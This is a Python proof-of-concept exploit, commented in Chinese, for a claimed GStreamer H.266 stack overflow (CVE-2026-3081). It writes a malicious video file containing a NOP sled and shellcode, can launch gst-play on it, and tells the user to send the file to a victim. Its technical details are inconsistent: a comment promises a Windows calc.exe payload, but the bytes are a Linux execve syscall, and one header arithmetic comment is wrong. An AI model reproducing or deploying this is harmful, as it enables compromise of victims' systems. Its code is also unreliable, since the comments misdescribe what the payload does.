# CVE-2026-3081 PoC - GStreamer H.266栈缓冲区溢出
# 此PoC生成一个触发栈溢出漏洞的恶意H.266视频文件
import struct
import sys
def create_malicious_h266_file():
"""生成触发CVE-2026-3081漏洞的恶意H.266文件"""
# H.266/VVC NAL单元头
nal_header = bytes([0x00, 0x00, 0x00, 0x01])
# NAL单元类型 - VCL NAL单元 (类型40-49为VCL NAL单元)
nal_unit_type = bytes([0x40 | 0x27]) # 67, IDR_W_RADL
# 生成超长payload以触发栈缓冲区溢出
# 目标栈缓冲区大小未知，但需要足够大以覆盖关键栈数据
overflow_length = 8192 # 8KB溢出数据
# 构造恶意payload
# 前半部分填充NOP sled
nop_sled = bytes([0x90] * (overflow_length // 2))
# 后半部分放置shellcode - 启动calc.exe (Windows示例)
# 注意：shellcode需要根据目标平台定制
shellcode = bytes([
0x48, 0x31, 0xC0, # xor rax, rax
0x48, 0x31, 0xFF, # xor rdi, rdi
0x48, 0x31, 0xF6, # xor rsi, rsi
0x48, 0x31, 0xD2, # xor rdx, rdx
0xB0, 0x3B, # mov al, 0x3b (sys_execve)
0x0F, 0x05 # syscall
])
# 填充到目标长度
shellcode = shellcode.ljust(overflow_length // 2, b'\x90')
malicious_payload = nop_sled + shellcode
# H.266比特流结构
h266_bitstream = nal_header + nal_unit_type + malicious_payload
return h266_bitstream
def trigger_vulnerability(file_path):
"""触发漏洞 - 需要目标系统安装GStreamer"""
try:
import subprocess
# 使用GStreamer工具打开恶意文件
cmd = ['gst-play-1.0', file_path]
subprocess.run(cmd, timeout=5)
except Exception as e:
print(f"Error triggering vulnerability: {e}")
if __name__ == '__main__':
output_file = 'cve_2026_3081_poc.266'
# 生成恶意文件
malicious_data = create_malicious_h266_file()
with open(output_file, 'wb') as f:
f.write(malicious_data)
print(f"[+] PoC file generated: {output_file}")
print(f"[+] File size: {len(malicious_data)} bytes")
print("[+] Send this file to victim and have them open it with GStreamer")
# 可选：自动触发
if '--trigger' in sys.argv:
trigger_vulnerability(output_file)